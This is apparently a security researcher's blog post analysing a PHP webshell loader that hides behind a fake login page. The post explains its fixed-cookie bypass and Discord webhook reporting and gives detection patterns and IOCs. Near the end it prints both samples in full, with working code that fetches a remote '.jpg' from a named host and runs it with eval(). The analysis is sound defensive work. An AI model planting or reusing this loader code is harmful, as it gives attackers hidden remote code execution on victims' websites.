I’ve written before about attackers using Telegram bots as a channel for stolen data (send love to exfil Telegram bots). This tool uses Discord for the same kind of job. A webhook is a web address that posts a message into a channel when you send it a request, so the shell doesn’t need a server of the operator’s to call home. It needs the webhook URL and a way to make an HTTPS request.

The file is called boobat.php (a shorter early version is 404.php, a name that blends into any WordPress theme). It’s about 6.5 KB, and more than half of it (56%) is the HTML of a fake login page. Behind that page the file does two jobs:

  1. It reports every login attempt, and every use of the shell, to a Discord channel: who, from where, and on which infected site.
  2. It doesn’t contain the shell. After a successful login it downloads one from a remote URL that ends in .jpg and runs it with eval().

The webshell on the infected site is a doorbell. The shell itself lives somewhere else and can be swapped at any time.

I did not run the file. I built a test harness around its own login logic, with the network call and eval replaced by print, and fed it requests. Results are below. The webhook token, the fixed cookie value and the password hash are redacted in this post and in the samples.

The Login Gate#

The gate checks three things, in this order, on every request:

// 1. a fixed cookie value logs you in, no password needed
if (!isset($_SESSION['loggedin']) && isset($_COOKIE['custom_cookie']) && $_COOKIE['custom_cookie'] === '[REDACTED]') {
    $_SESSION['loggedin'] = true;
    sendToDiscord("[SmokyHaxor] Login melalui cookie berhasil. IP: $user_ip, URL: $full_url", $discord_webhook_url);
    ...
}

// 2. username "admin" + a bcrypt password check
$username = "admin";
$passwordHash = '$2y$10$[REDACTED]';
if ($_POST['username'] === $username && password_verify($_POST['password'], $passwordHash)) {
    $_SESSION['loggedin'] = true;
    setcookie('custom_cookie', '[REDACTED]', time() + 3600, '/');   // so the cookie works for the next hour
    ...
}

The password check itself is sound: a bcrypt hash and password_verify(), not a plaintext comparison. The weak point is the cookie shortcut. It’s checked first, it’s a fixed string in the file, and it’s the same string in every copy of the file, so one value opens every infected site that runs this version. That’s also why I’ve redacted it.

The strings are Indonesian: Login melalui cookie berhasil (“login via cookie succeeded”), Login berhasil / Login gagal (“login succeeded / failed”), Username atau password salah. Silakan coba lagi. (“username or password wrong, please try again”), and Akses URL (“access URL”). In the full version, every message is sent twice: once in Indonesian, once in English (User logged in via cookie., Failed login attempt., Accessed URL: ...). I can’t tell why. It might be that the file was adapted for someone else to use.

The Discord Beacon#

function sendToDiscord($message, $webhook_url) {
    $data = ["content" => $message];
    $options = ['http' => ['header' => "Content-Type: application/json\r\n", 'method' => 'POST', 'content' => json_encode($data)]];
    return file_get_contents($webhook_url, false, stream_context_create($options));
}

That’s the whole client: a file_get_contents() POST to https://discord.com/api/webhooks/<id>/<token>. What gets sent matters more than how:

EventMessage contains
anyone submits the login form and failsthe visitor’s IP, the full URL of the infected page, and the username they typed
a successful loginIP, URL, username
the cookie shortcut is usedIP, URL
the shell is downloadedthe remote URL, the IP, and the infected page’s URL

So the operator gets a live feed of where their shells are and who is poking at them, including any defender or researcher who tries to log in, with their IP address and the username they guessed. If you ever find one of these on a site and test the login page, you’ve told them.

When these were made#

A Discord ID (a “snowflake”) has its creation time inside it, so the webhook IDs date themselves. The webhook ID is not secret; only the token after it is.

FileWebhook IDCreated
404.php (short version)13145334061006889272024-12-06
boobat.php (full version)13470951190771794732025-03-06

Both samples were collected on 11 March 2025, so the second webhook is only five days older than my copy. The operator made a fresh webhook when they built the fuller version.

The Loader#

After login the file fetches its real content:

if (isset($_SESSION['loggedin'])) {
    $url = 'https://nekan-dua.dev/aexdy/haxor/boobat.jpg';
    $content = file_get_contents($url);
    sendToDiscord("[SmokyHaxor] Akses URL: $url, IP: $user_ip, URL Asal: $full_url", $discord_webhook_url);
    ...
    if ($content !== false) {
        eval('?>' . $content);      // Menjalankan konten sebagai kode PHP  ("runs the content as PHP code")
    } else {
        echo "Gagal mengambil konten dari URL.";   // "Failed to fetch content from the URL."
    }
    exit();
}

The “image” is PHP. file_get_contents() doesn’t care about the extension, and eval('?>' . $content) makes PHP treat the downloaded text as a normal PHP file with its own <?php tag. A .jpg URL looks harmless in a network log, and the file is fetched fresh every time someone logs in, so the operator can change it whenever they want without touching any infected site. I did not download it, so I can’t say what it contains. It’s presumably a file manager or shell, since the login page leads to it.

If the server can’t make outgoing HTTP requests (allow_url_fopen off), the page prints Gagal mengambil konten dari URL. instead. That sentence is a good thing to search for in a page’s output.

The fake login page itself loads a logo from a third-party site, https://faktawanita.com/meong/jooboobat.png. Every time the page is displayed, that site gets a request from the visitor’s browser. I can’t tell whether that’s deliberate (a visit counter) or just a lazy way to get an image.

What I Tested#

I ran the file’s own gate code in a harness where file_get_contents for the remote URL, the Discord request, and eval were replaced with print statements. Nothing touched the network.

RequestResult
anonymous visitorthe fake “Login Form” is shown
wrong username and passwordtwo Discord messages (Indonesian + English) with the IP, URL and the username I typed, then the form again
the correct cookie valuetwo Discord messages, then a redirect to the same page
a wrong cookie valuethe form is shown, no messages
an already-authenticated sessiona Discord message with the loader URL, then the downloaded content is passed to eval

Everything matches the code as I read it.

The short version#

404.php (2 KB) has only the first two blocks: the cookie shortcut and the password check, each sending a Discord message. It stops there. There’s no login form and no loader, and unlike boobat.php it never calls session_start(), so unless the server starts sessions automatically, its login state wouldn’t survive to the next request. It looks like an unfinished early version, which fits its older webhook.

The Hosts Today#

I used registry (RDAP) data and public DNS only, and did not contact either site.

HostRoleRegisteredDNS today
nekan-dua.devremote shell (boobat.jpg)2024-10-07 (Namecheap)Cloudflare
faktawanita.comlogo image2024-05-26 (GoDaddy)Cloudflare

Both were registered before my samples (unlike several domains I’ve looked at recently), so they may be the original operator’s. They may also be compromised sites used as free hosting. I can’t tell which.

Detection & Cleanup#

I checked these patterns against all 988 PHP files in WordPress 6.6 core. They match the sample and nothing in core.

grep -rl 'discord.com/api/webhooks' wp-content/ --include='*.php'
grep -rlE "eval\(.\?>" wp-content/ --include='*.php'
grep -rl 'custom_cookie' wp-content/ --include='*.php'
  • Discord webhooks in PHP. Some legitimate plugins send alerts to Discord, so read each hit, but a webhook inside a theme template like 404.php, or in a file with a login form, is not one of those.
  • eval('?>' . ...) with a fetched file is the loader’s signature. Legitimate code almost never does it.
  • Outbound requests. A web server making POST https://discord.com/api/webhooks/... or fetching a .jpg that isn’t an image, from file_get_contents, is worth alerting on if you can see outbound traffic.
  • Look at your 404.php. Theme template files that contain password_verify, $_POST['username'] or a styled login form don’t belong.
  • Don’t try the login to test it. The page reports the attempt, with your IP address and the username you typed, to the operator. Read the file instead.
  • After removal, treat the site as compromised. Whoever ran the remote shell had full code execution, so rotate credentials and look for other backdoors and new admin users.

IOCs#

Files:    boobat.php, 404.php  (also look for any PHP file with the strings below)
Strings:  [SmokyHaxor]   "Login Form"   "Login melalui cookie berhasil"   "Gagal mengambil konten dari URL."
          cookie name custom_cookie (value redacted; set for 3600 s after a normal login)
          username admin, bcrypt cost 10; sha256 of the full hash 0f8a9087e0ab5acf0b63818ae0f14fbb4f7b405f61c6d4140a43f69084d2168a
Webhooks: discord.com/api/webhooks/1314533406100688927/<token redacted>   (created 2024-12-06)
          discord.com/api/webhooks/1347095119077179473/<token redacted>   (created 2025-03-06)
Loader:   https://nekan-dua.dev/aexdy/haxor/boobat.jpg      (fetched with file_get_contents, run with eval('?>' . $content))
Image:    https://faktawanita.com/meong/jooboobat.png        (login page logo)

Samples#

Tokens, the cookie value and the password hash are redacted.

boobat.php (full version)
<?php
session_start();

/**
 */
function sendToDiscord($message, $webhook_url) {
    $data = [
        "content" => $message
    ];

    $options = [
        'http' => [
            'header' => "Content-Type: application/json\r\n",
            'method' => 'POST',
            'content' => json_encode($data),
        ],
    ];

    $context = stream_context_create($options);
    return file_get_contents($webhook_url, false, $context);
}

$discord_webhook_url = "https://discord.com/api/webhooks/1347095119077179473/[REDACTED]";

$user_ip = $_SERVER['REMOTE_ADDR'];
$full_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

if (!isset($_SESSION['loggedin']) && isset($_COOKIE['custom_cookie']) && $_COOKIE['custom_cookie'] === '[REDACTED]') {
    $_SESSION['loggedin'] = true;

sendToDiscord("[SmokyHaxor] Login melalui cookie berhasil. IP: $user_ip, URL: $full_url", $discord_webhook_url);
sendToDiscord("[SmokyHaxor] User logged in via cookie.", $discord_webhook_url);

    header("Location: " . $_SERVER['PHP_SELF']); 
    exit();
}

// Tentukan username dan password hash
$username = "admin";
$passwordHash = '$2y$10$[REDACTED]'; // Hash bcrypt

// Cek apakah pengguna sudah login sebelumnya
if (!isset($_SESSION['loggedin'])) {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($_POST['username'] === $username && password_verify($_POST['password'], $passwordHash)) {
            $_SESSION['loggedin'] = true;

            // Set cookie dengan nilai "[REDACTED]"
            setcookie('custom_cookie', '[REDACTED]', time() + 3600, '/');

sendToDiscord("[SmokyHaxor] Login berhasil. IP: $user_ip, URL: $full_url, Username: {$_POST['username']}", $discord_webhook_url);
sendToDiscord("[SmokyHaxor] User logged in successfully.", $discord_webhook_url);

            header("Location: " . $_SERVER['PHP_SELF']);
            exit();
        } else {
            $error = "Username atau password salah. Silakan coba lagi.";

            // Kirim log login gagal ke Discord
sendToDiscord("[SmokyHaxor] Login gagal. IP: $user_ip, URL: $full_url, Username: {$_POST['username']}", $discord_webhook_url);
sendToDiscord("[SmokyHaxor] Failed login attempt.", $discord_webhook_url);
        }
    }
}

if (isset($_SESSION['loggedin'])) {
    $url = 'https://nekan-dua.dev/aexdy/haxor/boobat.jpg'; 
    $content = file_get_contents($url);

sendToDiscord("[SmokyHaxor] Akses URL: $url, IP: $user_ip, URL Asal: $full_url", $discord_webhook_url);
sendToDiscord("[SmokyHaxor] Accessed URL: $url", $discord_webhook_url);

    if ($content !== false) {
        eval('?>' . $content); // Menjalankan konten sebagai kode PHP
    } else {
        echo "Gagal mengambil konten dari URL.";
    }
    exit();
}

if (!isset($_SESSION['loggedin'])) {
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login Form</title>
        <style>
            body, html {
                margin: 0;
                padding: 0;
                height: 100%;
                display: flex;
                justify-content: center;
                align-items: center;
                background-color:rgb(34, 0, 0);
                font-family: Arial, sans-serif;
            }

            .form-container {
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100%;
            }

            .login-form {
                width: 300px;
                padding: 20px;
                background-color:rgb(61, 52, 0);
                border-radius: 8px;
                box-shadow: 0px 4px 12px rgba(0, 0, 0, 0.2);
                text-align: center;
                color: white;
            }

            .login-form img {
                width: 80px;
                margin-bottom: 10px;
            }

            .login-form h2 {
                margin: 0;
                padding: 10px 0;
                font-size: 20px;
            }

            .login-form input[type="text"],
            .login-form input[type="password"] {
                width: 100%;
                padding: 10px;
                margin: 10px 0;
                border: none;
                border-radius: 4px;
                box-sizing: border-box;
                font-size: 16px;
            }

            .login-form button {
                width: 100%;
                padding: 10px;
                background-color: #ff0055;
                color: white;
                border: none;
                border-radius: 4px;
                cursor: pointer;
                font-size: 16px;
            }

            .login-form button:hover {
                background-color: #e6004c;
            }

            .login-form .options {
                margin-top: 10px;
                font-size: 14px;
                color: #d1d1d1;
            }

            .login-form .options a {
                color: #ff0055;
                text-decoration: none;
            }

            .login-form .options a:hover {
                text-decoration: underline;
            }

            .error-message {
                color: red;
                font-size: 14px;
                margin-top: 10px;
            }
        </style>
    </head>
    <body>
        <div class="form-container">
            <div class="login-form">
                <img src="https://faktawanita.com/meong/jooboobat.png" alt="Logo">
                <h2>Login Form</h2>
                <?php if (isset($error)): ?>
                    <div class="error-message"><?php echo $error; ?></div>
                <?php endif; ?>
                <form method="post">
                    <input type="text" name="username" placeholder="Username ..." required>
                    <input type="password" name="password" placeholder="Password ..." required>
                    <button type="submit">Sign in</button>
                </form>
                <div class="options">
                    <label><input type="checkbox"> Remember Me</label>
                    <br>
                    <a href="#">Create Account</a> | <a href="#">Forget Password?</a>
                </div>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}
?>
404.php (early version)
<?php

function sendToDiscord($message, $webhook_url) {
    $data = [
        "content" => $message
    ];

    $options = [
        'http' => [
            'header' => "Content-Type: application/json\r\n",
            'method' => 'POST',
            'content' => json_encode($data),
        ],
    ];

    $context = stream_context_create($options);
    return file_get_contents($webhook_url, false, $context);
}

$discord_webhook_url = "https://discord.com/api/webhooks/1314533406100688927/[REDACTED]";

$user_ip = $_SERVER['REMOTE_ADDR'];
$full_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

if (!isset($_SESSION['loggedin']) && isset($_COOKIE['custom_cookie']) && $_COOKIE['custom_cookie'] === '[REDACTED]') {
    $_SESSION['loggedin'] = true;

    sendToDiscord("[SmokyHaxor] Login melalui cookie berhasil. IP: $user_ip, URL: $full_url", $discord_webhook_url);

    header("Location: " . $_SERVER['PHP_SELF']); 
    exit();
}
 
// Tentukan username dan password hash
$username = "admin";
$passwordHash = '$2y$10$[REDACTED]'; // Hash bcrypt

// Cek apakah pengguna sudah login sebelumnya
if (!isset($_SESSION['loggedin'])) {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($_POST['username'] === $username && password_verify($_POST['password'], $passwordHash)) {
            $_SESSION['loggedin'] = true;

            // Set cookie dengan nilai "[REDACTED]"
            setcookie('custom_cookie', '[REDACTED]', time() + 3600, '/');

            sendToDiscord("[SmokyHaxor] Login berhasil. IP: $user_ip, URL: $full_url, Username: {$_POST['username']}", $discord_webhook_url);

            header("Location: " . $_SERVER['PHP_SELF']);
            exit();
        } else {
            $error = "Username atau password salah. Silakan coba lagi.";

            // Kirim log login gagal ke Discord
            sendToDiscord("[SmokyHaxor] Login gagal. IP: $user_ip, URL: $full_url, Username: {$_POST['username']}", $discord_webhook_url);
        }
    }
}